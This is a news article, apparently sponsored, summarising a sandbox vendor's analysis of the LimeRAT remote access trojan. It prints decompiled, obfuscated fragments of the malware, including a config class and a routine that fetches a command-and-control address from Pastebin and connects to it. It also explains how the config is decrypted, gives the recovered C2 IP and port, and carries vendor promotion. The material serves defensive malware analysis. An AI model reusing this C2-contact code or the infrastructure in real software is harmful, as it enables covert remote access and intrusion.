

# LimeRAT Malware Analysis: Extracting the Config

By The Hacker News

Published: 2023-04-27 · Archived: 2026-04-05 19:59:22 UTC

Remote Access Trojans (RATs) have taken the third leading position in ANY.RUN's [Q1 2023 report](#) on the most prevalent malware types, making it highly probable that your organization may face this threat.

Though LimeRAT might not be the most well-known RAT family, its versatility is what sets it apart. Capable of carrying out a broad spectrum of malicious activities, it excels not only in data exfiltration, but also in creating DDoS botnets and facilitating crypto mining. Its compact footprint allows it to elude endpoint detection systems, making it a stealthy adversary. Interestingly, LimeRAT shares similarities with njRAT, which ANY.RUN ranks as the third most popular malware family in terms of uploads during Q1 2023.

[ANY.RUN](#) researchers have recently conducted an in-depth analysis of a LimeRAT sample and successfully extracted its configuration. In this article, we'll provide a brief overview of that analysis.

TA0005: Defense Evasion	T1027: Obfuscated Files or Information	Malware uses AES algorithm to encrypt and decrypt data

**ANY.RUN is running a limited-time offer, celebrating the 7th Cyberbirthsay** 

ANY.RUN is an interactive cloud malware sandbox that can extract malware configs automatically for numerous families, saving researchers hours of effort.

The service is celebrating its 7th anniversary and **inviting all researchers to try out advanced analysis features typically reserved for pro plans, completely free until May 5th**. This includes configuring the execution environment with Windows 8, 10, or 11.

If you discover that ANY.RUN enhances your malware analysis workflow, they are also offering a **limited promotion, available until May 5th: receive 6 or 12 months of free usage when you sign up for a yearly or two-year subscription**, respectively.

## Breaking down LimeRAT's decryption algorithm [↻](#)

We'll share a condensed version of the article here. For a complete walkthrough and the extended analysis, head over to ANY.RUN's blog if you're interested in learning more about the workflow they employed.

Since the sample under review was written in .NET, researchers utilized DnSpy to examine the code. Immediately, it was obvious that obfuscation techniques were being employed:

```

namespace 合顯執官向受成的司命導澤
{
    // Token: 0x02000013 RID: 19
    public class 行太執官承希澤執人的太
    {
        // Token: 0x0600004F RID: 79 RVA: 0x00003F34 File Offset: 0x00002134
        [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
        public static void 首子向望官生的澤()
        {
            if (顯受生孫人顯向玉公公孫子的.商城顯她首地希執引行)
            {
                if (!Operators.ConditionalCompareObjectNotEqual(Application.ExecutablePath, 顯受生孫人顯向玉公公孫子的.城管將的引為, false))
                {
                    return;
                }
            }
            try
            {
                行太執官承希澤執人的太.是席顯是司顯澤子家(家());
                行太執官承希澤執人的太.孫成公命將澤合席敬將法澤敬(Conversions.ToString(顯受生孫人顯向玉公公孫子的.城管將的引為));
                行太執官承希澤執人的太.人的的敬生尊公承(尊司的成的望顯.合城法導子子公顯希的為孫());
                if (顯受生孫人顯向玉公公孫子的.引受城司官公公全受 != null)
                {
                    顯受生孫人顯向玉公公孫子的.引受城司官公公全受.Close();
                    顯受生孫人顯向玉公公孫子的.引受城司官公公全受 = null;
                }
            }
            顯顯引司向顯.澤的為太是成的承成為執席顯();
            object[] array;
        }
    }
}

```

Sample overview in DnSpy; note that use of obfuscation techniques

Closer examination of the code revealed a class resembling the malware configuration. Within this class, was a field containing a string that was both base64 encoded and encrypted.

```

顯受生孫人顯向玉公公孫子的
5
6 namespace 顯太成為成法
7 {
8     // Token: 0x0200000C RID: 12
9     public class 顯受生孫人顯向玉公公孫子的
10    {
11        // Token: 0x04000008 RID: 8
12        public static string 澤她顯程孫地成接司成生希為 = "At2C9Qk3d7SA7+3KqcaDzAGk3UjkKgb01CC2tXzGwvXISV8gQCyC4DHdLLTVSy/";
13
14        // Token: 0x04000009 RID: 9
15        public static string 人太玉太管司;
16
17        // Token: 0x0400000A RID: 10
18        public static int 為首玉的接敬商商的首司命;
19
20        // Token: 0x0400000B RID: 11
21        public static string 的敬人繼孫生人 = "20.199.13.167";
22
23        // Token: 0x0400000C RID: 12
24        public static string 行顯家將命成使太顯 = "|'N'|";
25
26        // Token: 0x0400000D RID: 13
27        public static string 人法顯執首接 = "|'L'|";
28
29        // Token: 0x0400000E RID: 14
30        public static string 人子導顯成的的的司法受 = "checker netflix.exe";
31
32        // Token: 0x0400000F RID: 15
33        public static Mutex 引受城司官公公全受;
34
35        // Token: 0x04000010 RID: 16
36        public static bool 澤金的程導敬顯的法太商接 = Conversions.ToBoolean("True");
37
38        // Token: 0x04000011 RID: 17
39        public static bool 顯敬生尊行為程是的為孫行合顯 = Conversions.ToBoolean("True");
40
41        // Token: 0x04000012 RID: 18
42        public static bool 公成的繼程望行尊首澤的引將 = Conversions.ToBoolean("True");
43
44        // Token: 0x04000013 RID: 19
45        public static bool 商城顯她首地希執引行 = Conversions.ToBoolean("True");

```

Possibly, malware configuration class

Continuing the code inspection, ANY.RUN researchers pinpointed a function responsible for decrypting the string. By employing the "Read by" filter in DnSpy, they tracked down methods where the string was being read, which led to a total of two methods. The first method proved unfruitful, but the second one looked interesting:

```
try
{
    孫澤的命官.家望望將顧向孫合的成生的顧使 = new TcpClient();
    孫澤的命官.家望望將顧向孫合的成生的顧使.ReceiveBufferSize = 5120000;
    孫澤的命官.家望望將顧向孫合的成生的顧使.SendBufferSize = 5120000;
    孫澤的命官.家望望將顧向孫合的成生的顧使.ReceiveTimeout = -1;
    孫澤的命官.家望望將顧向孫合的成生的顧使.SendTimeout = -1;
    using (WebClient webClient = new WebClient())
    {
        try
        {
            NetworkCredential credentials = new NetworkCredential("", "");
            webClient.Credentials = credentials;
            string[] array = Strings.Split(Conversions.ToString(NewLateBinding.LateGet(webClient, null, "DownloadString", new object[]
            {
                家澤的首領將執執生成敬.太希孫行城敬敬的哪的合的(顧受生孫人顧向玉公公孫子的.譯地顧程係地成接司成生希為),
            }, null, null, null)), ":", -1, CompareMethod.Binary);
            顧受生孫人顧向玉公公孫子的.人大玉太管司 = array[0];
            new Random();
            顧受生孫人顧向玉公公孫子的.為首玉的接敬向向的首司命 = Conversions.ToInteger(array[new Random().Next(1, array.Length)]);
            webClient.Dispose();
        }
        catch (Exception ex4)
        {
        }
    }
    孫澤的命官.家望望將顧向孫合的成生的顧使.Connect(顧受生孫人顧向玉公公孫子的.人大玉太管司, 顧受生孫人顧向玉公公孫子的.為首玉的接敬向向的首司命);
    孫澤的命官.成行引為執的 = true;
    孫澤的命官.成顧顧承玉行 = new MemoryStream();
}
```

The second x-ref is more interesting. It seems that it uses our string in WebClient.DownloadString method

This method turned out to be responsible for decryption. By closely examining it, it was possible to reconstruct the process by which LimeRAT decrypts its configuration:

1. Instances of the **RijndaelManaged** and **MD5CryptoServiceProvider** classes are instantiated. As per MSDN, **RijndaelManaged** is an outdated implementation of the AES encryption algorithm (**MITRE T1027**), while **MD5CryptoServiceProvider** computes MD5 hashes.
2. A 32-byte array, initialized with zeros, is generated to store the AES key.
3. The key is created by first calculating the MD5 hash of a distinct string within the configuration class (in our analysis, the string is "20[.]199.13.167").
4. The initial 15 bytes, followed by the first 16 bytes of the calculated hash, are copied into the previously established array. The final element of the array remains zero.
5. The derived key is assigned to the key property of the **RijndaelManaged** instance, while the Mode property is configured as **CipherMode.ECB**.
6. Ultimately, the primary string undergoes decoding via the **Base64** algorithm and decryption using the **AES256-ECB** algorithm.

Decrypting the string revealed a link to a PasteBin note: [https://pastebin\[.\]com/raw/sxNJt2ek](https://pastebin[.]com/raw/sxNJt2ek). Within this note, was LimeRAT's Command and Control (C2) server:

← ↻ 🔒 <https://pastebin.com/raw/sxNJt2ek>

20.199.13.167:8080

LimeRATs C2 discovered with decrypted data

## To wrap up

We hope you found this brief overview of our LimeRAT configuration decryption process insightful. For a more comprehensive examination, head over to the [full article on ANY.RUN's blog](#), to get additional context on the steps and check the decryption process using CyberChef.

Also, remember that ANY.RUN's currently offering limited-time deals, featuring discounts on subscriptions and an expanded feature set for free plans, including the ability to configure execution environments with Windows 8, 10, and 11 operating systems. This offer expires on May 5th.

This is an ideal opportunity to test out ANY.RUN and determine if it streamlines your workflow, or to secure a subscription at an unbeatable price and reap the benefits of significant time savings through static and behavioral analysis.

To learn more about this offer, visit [ANY.RUN plans](#).
